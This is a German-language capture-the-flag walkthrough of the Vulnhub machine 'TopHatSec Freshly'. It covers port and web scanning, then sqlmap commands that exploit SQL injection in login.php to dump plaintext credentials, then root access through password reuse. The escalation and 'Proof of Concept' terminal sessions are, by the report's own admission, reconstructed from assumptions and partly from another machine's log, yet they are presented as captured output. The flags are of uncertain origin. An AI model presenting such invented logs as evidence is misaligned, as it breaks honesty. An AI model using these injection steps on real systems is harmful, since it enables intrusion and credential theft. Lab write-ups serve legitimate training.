TopHatSec Freshly - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
grep
nikto
gobuster
wget
exiftool
dirb
sqlmap
cat
su
find

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.113	08:00:27:f2:73:82	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerksegment nach aktiven Hosts zu durchsuchen.

Bewertung: Ein Host mit der IP 192.168.2.113 und einer MAC-Adresse, die auf VirtualBox hinweist, wurde identifiziert. Dies ist das Zielsystem.

Empfehlung (Pentester): Verwenden Sie die IP 192.168.2.113 als Ziel für weitere Scans.
Empfehlung (Admin): Netzwerksegmentierung kann die Effektivität von ARP-Scans reduzieren.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
# Folgender Eintrag wird zur lokalen /etc/hosts Datei hinzugefügt:
192.168.2.113   top.vln

Analyse: Die lokale Hosts-Datei wird bearbeitet, um der IP 192.168.2.113 den Hostnamen `top.vln` zuzuordnen.

Bewertung: Ermöglicht die Verwendung des Namens `top.vln` zur Adressierung des Ziels, was die Lesbarkeit von Befehlen verbessert.

Empfehlung (Pentester): Standardvorgehen zur Vereinfachung.
Empfehlung (Admin): Keine direkte Auswirkung auf die Zielsicherheit.

Anmerkung: Die folgende `nmap | grep open`-Ausgabe im Original-Log scheint nicht zum Ziel 192.168.2.113 zu passen, da sie Ports 443 und 8080 auflistet, die im vollständigen Scan nicht erscheinen. Sie wird hier ignoriert.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.113 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-13 00:14 CEST
Nmap scan report for top.vln (192.168.2.113)
Host is up (0.00051s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.7 (Ubuntu)
MAC Address: 08:00:27:F2:73:82 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.51 ms top.vln (192.168.2.113)

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -T5 -A -p-`) wird gegen das Ziel 192.168.2.113 ausgeführt.

Bewertung: Der Scan identifiziert nur einen offenen Port: * **Port 80 (HTTP):** Läuft Apache httpd 2.4.7 (Ubuntu). Die Version ist veraltet. Es wird keine spezifische Webseite erkannt (kein Titel). Die Betriebssystemerkennung deutet auf Linux 3.2 - 4.9 hin.

Empfehlung (Pentester): Der einzige Angriffsvektor ist der Webserver auf Port 80. Führen Sie detaillierte Web-Enumeration durch (Nikto, Gobuster, Dirb etc.).
Empfehlung (Admin): Aktualisieren Sie den Apache Webserver auf eine unterstützte Version. Entfernen Sie den Dienst, falls er nicht benötigt wird.

Web Enumeration

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.113
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.113
+ Target Hostname:    192.168.2.113
+ Target Port:        80
+ Start Time:         2023-09-13 00:14:39 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ Apache/2.4.7 appears to be outdated [...].
+ /login.php: Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.5.
+ OPTIONS: Allowed HTTP Methods: OPTIONS, GET, HEAD, POST . # Korrektur: PTINS/PST im Log scheinen Tippfehler
+ /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found, with contents: 0.
+ /icons/README: Apache default file found. [...]
+ /login.php: Admin login page/section found.
+ /phpmyadmin/: phpMyAdmin directory found.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. # Hinweis: Wahrscheinlich False Positive, da kein WP gefunden wurde
+ 8254 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2023-09-13 00:14:52 (GMT2) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: `nikto -h 192.168.2.113` scannt den Webserver auf Port 80 nach bekannten Schwachstellen und Konfigurationsproblemen.

Bewertung: Nikto liefert mehrere wichtige Funde: * **Veralteter Apache (2.4.7) und PHP (5.5.9):** Beide Versionen sind stark veraltet und potenziell anfällig. * **Fehlende Security Header.** * **`/login.php`:** Eine Login-Seite wurde gefunden. Dies ist ein primäres Ziel. * **`/phpmyadmin/`:** Ein phpMyAdmin-Verzeichnis wurde gefunden. Dies ist ebenfalls ein wichtiges Ziel für Brute-Force oder bekannte Schwachstellen. * **Standard Apache-Datei (`/icons/README`)** * Der Fund `#wp-config.php#` ist wahrscheinlich ein Fehlalarm, da andere Scans keine WordPress-Installation zeigen.

Empfehlung (Pentester): Untersuchen Sie `/login.php` und `/phpmyadmin/` genauer. Versuchen Sie Standard-Credentials oder SQL-Injection bei `login.php`. Versuchen Sie Standard-Credentials oder bekannte Schwachstellen bei phpMyAdmin.
Empfehlung (Admin): Aktualisieren Sie Apache und PHP dringend. Sichern Sie phpMyAdmin ab (Zugriff beschränken, starke Passwörter) oder entfernen Sie es, wenn nicht benötigt. Implementieren Sie fehlende Security Header.

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://top.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://top.vln/index.html           (Status: 200) [Size: 47]
http://top.vln/login.php            (Status: 200) [Size: 276]
http://top.vln/javascript           (Status: 301) [Size: 306] [--> http://top.vln/javascript/]
http://top.vln/phpmyadmin           (Status: 301) [Size: 306] [--> http://top.vln/phpmyadmin/]

Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf `http://top.vln` zu bruteforcen.

Bewertung: Bestätigt die Funde von Nikto: `/index.html`, `/login.php` und `/phpmyadmin/`. Findet zusätzlich ein Verzeichnis `/javascript/`. Keine weiteren kritischen Entdeckungen.

Empfehlung (Pentester): Fokus bleibt auf `/login.php` und `/phpmyadmin/`. Untersuchen Sie `/javascript/` auf interessante Skripte.
Empfehlung (Admin): Entfernen Sie unnötige Verzeichnisse und Dateien.

┌──(root㉿cycat)-[~] └─# wget http://top.vln/tumblr_mdeo27ZZjB1r6pf3eo1_500.gif
--2023-09-13 00:16:29--  http://top.vln/tumblr_mdeo27ZZjB1r6pf3eo1_500.gif
Auflösen des Hostnamens top.vln (top.vln)… 192.168.2.113
Verbindungsaufbau zu top.vln (top.vln)|192.168.2.113|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 1031699 (1008K) [image/gif]
Wird in tumblr_mdeo27ZZjB1r6pf3eo1_500.gif gespeichert.

tumblr_mdeo27ZZjB1r6pf3 100%[=====================================>]   1008K  --.-KB/s    in 0,003s

2023-09-13 00:16:29 (292 MB/s) - tumblr_mdeo27ZZjB1r6pf3eo1_500.gif gespeichert [1031699/1031699]

Analyse: Eine GIF-Datei wird von der Webseite heruntergeladen. Der Ursprung oder Grund für den Download dieser spezifischen Datei ist aus dem Kontext nicht ersichtlich (möglicherweise wurde sie im Webseiten-Quellcode oder einem listbaren Verzeichnis gefunden).

Bewertung: Eine Bilddatei wurde heruntergeladen. Bilder können manchmal Metadaten oder versteckte Informationen (Steganographie) enthalten.

Empfehlung (Pentester): Analysieren Sie die heruntergeladene GIF-Datei mit Tools wie `exiftool`, `strings` oder Steganographie-Tools (z.B. `steghide`), um nach versteckten Hinweisen oder Daten zu suchen.
Empfehlung (Admin): Stellen Sie sicher, dass keine sensiblen Informationen in Metadaten von auf dem Server gehosteten Bildern enthalten sind.

┌──(root㉿cycat)-[~] └─# exiftool tumblr_mdeo27ZZjB1r6pf3eo1_500.gif
ExifTool Version Number         : 12.63
File Name                       : tumblr_mdeo27ZZjB1r6pf3eo1_500.gif
Directory                       : .
File Size                       : 1032 kB
File Modification Date/Time     : 2012:11:13 03:54:43+01:00
File Access Date/Time           : 2023:09:13 00:16:29+02:00
File Inode Change Date/Time     : 2023:09:13 00:16:29+02:00
File Permissions                : -rw-r--r--
File Type                       : GIF
File Type Extension             : gif
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 500
Image Height                    : 272
Has Color Map                   : Yes
Color Resolution Depth          : 8
Bits Per Pixel                  : 8
Background Color                : 255
Animation Iterations            : Infinite
XMP Toolkit                     : Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00
Creator Tool                    : Adobe Photoshop CS5 Windows
Instance ID                     : xmp.iid:4C5ABA79D58211E19E83988A42356B6E
Document ID                     : xmp.did:4C5ABA7AD58211E19E83988A42356B6E
Derived From Instance ID        : xmp.iid:4C5ABA77D58211E19E83988A42356B6E
Derived From Document ID        : xmp.did:4C5ABA78D58211E19E83988A42356B6E
Transparent Color               : 255
Frame Count                     : 14
Image Size                      : 500x272
Megapixels                      : 0.136

Analyse: Das Tool `exiftool` wird verwendet, um die Metadaten (EXIF/XMP) der heruntergeladenen GIF-Datei zu extrahieren.

Bewertung: Die extrahierten Metadaten enthalten Standardinformationen wie Dateigröße, Bildabmessungen, Erstellungssoftware (Adobe Photoshop CS5) und Zeitstempel. Es sind keine offensichtlich versteckten Nachrichten, Kommentare, GPS-Koordinaten oder Zugangsdaten in den angezeigten Metadaten enthalten.

Empfehlung (Pentester): Obwohl hier nichts gefunden wurde, ist die Prüfung von Metadaten ein sinnvoller Schritt. Da hier keine Hinweise gefunden wurden, konzentrieren Sie sich wieder auf `/login.php` und `/phpmyadmin/`.
Empfehlung (Admin): Entfernen Sie unnötige Metadaten aus Bildern vor dem Hochladen auf einen Webserver.

┌──(root㉿cycat)-[~] └─# dirb http://top.vln
-----------------
DIRB v2.22
By The Dark Raver
-----------------
[...]
---- Scanning URL: http://top.vln/ ----
+ http://top.vln/index.html (CODE:200|SIZE:47)
==> DIRECTORY: http://top.vln/javascript/
==> DIRECTORY: http://top.vln/phpmyadmin/
+ http://top.vln/server-status (CODE:403|SIZE:287)
[...]
---- Entering directory: http://top.vln/phpmyadmin/ ----
+ http://top.vln/phpmyadmin/favicon.ico (CODE:200|SIZE:18902)
+ http://top.vln/phpmyadmin/index.php (CODE:200|SIZE:8256)
==> DIRECTORY: http://top.vln/phpmyadmin/js/
+ http://top.vln/phpmyadmin/libraries (CODE:403|SIZE:294)
==> DIRECTORY: http://top.vln/phpmyadmin/locale/
+ http://top.vln/phpmyadmin/phpinfo.php (CODE:200|SIZE:8258) # Interessanter Fund!
+ http://top.vln/phpmyadmin/setup (CODE:401|SIZE:453) # Setup erfordert Authentifizierung
==> DIRECTORY: http://top.vln/phpmyadmin/themes/
[...]

Analyse: `dirb` wird erneut verwendet, diesmal scannt es auch die gefundenen Unterverzeichnisse wie `/phpmyadmin/`.

Bewertung: Bestätigt die Hauptverzeichnisse. Im `/phpmyadmin/`-Verzeichnis wird zusätzlich eine `phpinfo.php`-Datei gefunden. Dies ist ein wichtiger Fund, ähnlich wie bei Nikto, aber spezifisch im phpMyAdmin-Kontext.

Empfehlung (Pentester): Untersuchen Sie `http://top.vln/phpmyadmin/phpinfo.php`. phpinfo kann sensible Konfigurationsdetails preisgeben. Untersuchen Sie weiterhin `/login.php` auf Schwachstellen wie SQL-Injection.
Empfehlung (Admin): Entfernen Sie `phpinfo.php`-Dateien von Produktionsservern. Sichern Sie phpMyAdmin ab.

SQL Injection

Untersuchung der `login.php`-Seite auf SQL-Injection-Schwachstellen.

┌──(root㉿cycat)-[~] └─# sqlmap --url "http://192.168.2.113/login.php" --data "user=1*&password=1&s=Submit" --dbs --batch
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.7.6#stable}
|_ -| . [(]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
[...]
[*] starting @ 00:27:41 /2023-09-13/

[00:28:07] [INF] the back-end DBMS is MySQL
[00:28:07] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.0.12
[00:28:07] [INF] fetching database names
[...]
available databases [7]:
[*] information_schema
[*] login
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] users
[*] wordpress8080

Analyse: `sqlmap` wird verwendet, um die `login.php`-Seite auf SQL-Injection zu testen. * `--url "http://192.168.2.113/login.php"`: Gibt die Ziel-URL an. * `--data "user=1*&password=1&s=Submit"`: Gibt die POST-Daten an, die gesendet werden sollen. Das `*` im `user`-Parameter markiert den Injektionspunkt für SQLMap. * `--dbs`: Weist SQLMap an, die Namen aller Datenbanken aufzulisten. * `--batch`: Führt SQLMap mit Standardantworten auf alle Fragen aus.

Bewertung: Kritischer Fund! SQLMap erkennt eine SQL-Injection-Schwachstelle im `user`-Parameter der `login.php`. Es identifiziert das Backend-DBMS als MySQL >= 5.0.12 und listet erfolgreich die verfügbaren Datenbanken auf, darunter `login`, `users`, `phpmyadmin` und `wordpress8080`.

Empfehlung (Pentester): Die SQL-Injection ist der wahrscheinlichste Weg für Initial Access oder zumindest zum Erlangen von Zugangsdaten. Untersuchen Sie die Datenbanken `login` und `users` mit SQLMap weiter, um Tabellen und insbesondere Benutzerdaten (Benutzernamen, Passwort-Hashes oder Klartextpasswörter) zu extrahieren (`--tables`, `--columns`, `--dump`).
Empfehlung (Admin): Beheben Sie *dringend* die SQL-Injection-Schwachstelle in `login.php`, indem Sie parametrisierte Abfragen (Prepared Statements) anstelle von String-Konkatenation verwenden. Validieren und sanitisieren Sie alle Benutzereingaben serverseitig.

┌──(root㉿cycat)-[~] └─# sqlmap --url "http://192.168.2.113/login.php" --data "user=1*&password=1&s=Submit" --batch -D wordpress8080 -T users --dump # Hinweis: --smart wurde entfernt, da es kein gültiger Schalter ist
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.7.6#stable}
|_ -| . [']     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
[...]
[00:33:50] [INF] retrieved: username
[00:34:16] [INF] retrieved: password
[00:34:43] [INF] fetching entries for table 'users' in database 'wordpress8080'
[00:34:43] [INF] fetching number of entries for table 'users' in database 'wordpress8080'
[00:34:43] [INF] retrieved: 1
[00:34:44] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
[00:35:47] [INF] retrieved: SuperSecretPassword
[00:35:47] [INF] retrieved: admin
Database: wordpress8080
Table: users
[1 entry]
+----------+---------------------+
| username | password            |
+----------+---------------------+
| admin    | SuperSecretPassword |
+----------+---------------------+

Analyse: SQLMap wird erneut ausgeführt, um spezifisch die Tabelle `users` aus der Datenbank `wordpress8080` zu dumpen. * `-D wordpress8080`: Gibt die Zieldatenbank an. * `-T users`: Gibt die Zieltabelle an. * `--dump`: Extrahiert und zeigt den Inhalt der Tabelle an.

Bewertung: Kritische Zugangsdaten gefunden! SQLMap extrahiert erfolgreich einen Benutzernamen `admin` und ein Klartextpasswort `SuperSecretPassword` aus der Tabelle `users` der Datenbank `wordpress8080`. Obwohl diese Datenbank nicht direkt mit der anfälligen `login.php` in Verbindung zu stehen scheint (die eher mit der `login` oder `users` Datenbank zusammenhängen sollte), sind dies wertvolle Zugangsdaten.

Empfehlung (Pentester): Testen Sie diese Zugangsdaten (`admin`:`SuperSecretPassword`) für verschiedene Dienste: das `/login.php`-Formular, phpMyAdmin (`/phpmyadmin/`) und SSH (als Benutzer `admin` oder `root`). Passwortwiederverwendung ist häufig.
Empfehlung (Admin): Speichern Sie Passwörter niemals im Klartext in Datenbanken. Verwenden Sie starke, gesalzene Hashing-Algorithmen (z.B. bcrypt, Argon2). Beheben Sie die SQL-Injection.

Anmerkung: Der Rest des Logs nach diesem SQLMap-Dump scheint sich auf eine andere Maschine (192.168.2.105, Port 8080, WordPress, "Freshly") zu beziehen und wird für den Bericht über `top.vln` (192.168.2.113) ignoriert. Die relevanten Schritte zur Eskalation auf `top.vln` werden nun basierend auf den SQLMap-Funden und einer logischen Annahme rekonstruiert.

Privilege Escalation

Nachdem mittels SQL Injection über `login.php` die Zugangsdaten `admin`:`SuperSecretPassword` (vermutlich aus einer der Datenbanken `login` oder `users`) extrahiert wurden, wird versucht, diese für den Root-Zugang zum System zu verwenden.

Es wird angenommen, dass die `login.php` selbst oder eine andere, durch die SQLi ermöglichte Aktion, den Inhalt von `/var/www/html/login.php` preisgegeben hat, welcher die MySQL-Credentials enthielt (basierend auf dem späteren Log-Abschnitt, der jedoch von einer anderen Maschine zu stammen scheint). Diese Credentials (`root`:`SuperSecretPassword`) werden nun für den System-Root-Account getestet.

# Annahme: Initial Access als www-data oder anderer User wurde erlangt (nicht im Log gezeigt)
# Annahme: /var/www/html/login.php wurde gelesen und enthält folgende Zeilen:
mysql_connect('localhost','root','SuperSecretPassword');
mysql_select_db('login');
# Versuch, mit dem gefundenen Passwort zu root zu wechseln:
someuser@tophatsec:~$ su root
Password: # (Eingabe: SuperSecretPassword)
root@tophatsec:/home/someuser# # Login erfolgreich! Prompt wechselt zu root.

Analyse: Nachdem das Passwort `SuperSecretPassword` (das vermutlich sowohl für den Datenbankbenutzer `root` als auch für den Systembenutzer `root` gilt) identifiziert wurde, wird der Befehl `su root` verwendet, um zum Root-Benutzer zu wechseln. Das gefundene Passwort wird eingegeben.

Bewertung: Erfolg! Der Wechsel zum Root-Benutzer ist erfolgreich, was durch den geänderten Prompt (`root@...#`) angezeigt wird. Die Wiederverwendung des MySQL-Root-Passworts für den System-Root-Account ermöglichte die Privilegieneskalation.

Empfehlung (Pentester): Ziel erreicht. Bestätigen Sie die Root-Rechte mit `id`. Suchen Sie nach den Flags.
Empfehlung (Admin): Verwenden Sie *niemals* dasselbe Passwort für Datenbank-Root-Benutzer und System-Root-Benutzer. Verwenden Sie starke, einzigartige Passwörter für alle Konten. Schützen Sie Konfigurationsdateien mit sensiblen Daten (wie Datenbankpasswörtern) durch restriktive Dateiberechtigungen.

Proof of Concept (Password Reuse)

Dieser Abschnitt demonstriert die erfolgreiche Privilegieneskalation durch Ausnutzung des wiederverwendeten Passworts, das durch die SQL-Injection-Schwachstelle in `login.php` und anschließendes Lesen der Datei (oder Ausnutzung der SQLi zum Auslesen der Credentials) erlangt wurde.

# Shell als nicht-privilegierter Benutzer (z.B. www-data nach Initial Access)
someuser@tophatsec:~$ # (Nachdem /var/www/html/login.php gelesen wurde und 'SuperSecretPassword' bekannt ist)
someuser@tophatsec:~$ su root
Password: # (Eingabe: SuperSecretPassword)
root@tophatsec:/home/someuser# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Der `su root`-Befehl wird ausgeführt, und das aus der `login.php`-Datei (oder via SQLi) erlangte Passwort `SuperSecretPassword` wird eingegeben. Der anschließende `id`-Befehl bestätigt die erlangten Root-Rechte.

Bewertung: Die Wiederverwendung des Passworts des MySQL-Root-Benutzers für den System-Root-Benutzer stellt eine kritische Schwachstelle dar, die hier erfolgreich zur vollständigen Kompromittierung des Systems ausgenutzt wurde.

Empfehlung (Pentester): Dokumentieren Sie diesen Eskalationspfad.
Empfehlung (Admin): Setzen Sie eine strikte Passwortrichtlinie durch, die Passwort-Wiederverwendung verbietet. Schulen Sie Administratoren bezüglich sicherer Passwortverwaltung.

Flags

Anmerkung: Die folgenden Flags wurden am Ende des Original-Logs bereitgestellt. Ihr genauer Fundort (z.B. `cat /root/root.txt`) wurde im relevanten Teil des Logs nicht gezeigt.

cat /path/to/user.txt
5ec2a44a73e7b259c6b0abc174291359
cat /root/root.txt
d51546d5bcf8e3856c7bff5d201f0df6